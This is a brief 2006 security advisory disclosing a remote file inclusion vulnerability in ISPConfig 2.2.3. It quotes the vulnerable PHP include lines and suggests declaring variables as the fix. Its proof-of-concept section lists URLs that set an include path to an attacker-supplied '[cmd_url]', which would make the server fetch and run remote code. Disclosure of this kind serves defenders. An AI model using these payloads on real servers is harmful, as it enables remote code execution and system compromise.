FSA-016.txt

`-----------------------------------------------------  
Advisory id: FSA:016  
  
Author: Federico Fazzi  
Date: 14/06/2006, 18:57  
Sinthesis: ISPConfig 2.2.3, File inclusion vulnerability  
Type: high  
Product: http://www.ispconfig.org/  
Patch: unavailable  
-----------------------------------------------------  
  
  
1) Description:  
  
Error occured in server.inc.php, line 35:  
  
include_once($go_info["isp"]["classes_root"] .  
$go_info["server"]["dir_trenner"] ."ispconfig_template.lib.php");  
  
Error occured in app.inc.php, line 48 - 49:  
  
$dbclass = $go_info["server"]["classes_root"] .  
$go_info["server"]["dir_trenner"]  
."ispconfig_db_".$go_info["server"]["db_type"].".lib.php";  
include_once($dbclass);  
  
Error occured in login.php, line 30 - 31:  
  
$dbclass = $go_info["server"]["classes_root"] .  
$go_info["server"]["dir_trenner"]  
."ispconfig_db_".$go_info["server"]["db_type"].".lib.php";  
include_once($dbclass);  
  
Error occured in trylogin.php, line 32 - 33:  
  
$dbclass = $go_info["server"]["classes_root"] .  
$go_info["server"]["dir_trenner"]  
."ispconfig_db_".$go_info["server"]["db_type"].".lib.php";  
include_once($dbclass);  
  
2) Proof of concept:  
  
http://example/[ic_path]/install_ispconfig/scripts/lib/server.inc.php?go_info[isp][classes_root]=[cmd_url]/  
http://example/[ic_path]/install_ispconfig/ispconfig/lib/app.inc.php?go_info[server][classes_root]=[cmd_url]/  
http://example/[ic_path]/install_ispconfig/ispconfig/web/login/login.php?go_info[server][classes_root]=[cmd_url]/  
http://example/[ic_path]/install_ispconfig/ispconfig/web/login/trylogin.php?go_info[server][classes_root]=[cmd_url]/  
(note this is with final slash (/))  
  
3) Solution:  
  
declare all variables or global.  
`